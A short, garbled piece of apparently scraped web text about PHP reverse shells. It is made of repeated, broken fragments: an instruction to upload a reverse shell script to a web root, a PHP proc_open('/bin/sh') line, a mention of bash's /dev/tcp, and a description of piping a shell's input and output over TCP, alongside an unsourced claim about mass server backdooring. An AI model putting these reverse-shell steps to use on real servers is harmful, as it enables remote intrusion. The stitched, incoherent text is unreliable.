Upload a reverse shell script to /var/www/html/test.php (you have permission).
$process = proc_open('/bin/sh', $descriptorspec, $pipes); Reverse Shell Php
This one-liner uses /dev/tcp , a bash feature that many PHP reverse shells rely on. Within seconds, thousands of servers were backdoored. The fix? WordPress later patched the upload vulnerability, but servers that didn't disable exec() remained vulnerable. Upload a reverse shell script to /var/www/html/test
: The script redirects the shell's standard input (stdin), output (stdout), and error (stderr) to the established TCP connection. 2. Common Implementation Scenarios This one-liner uses /dev/tcp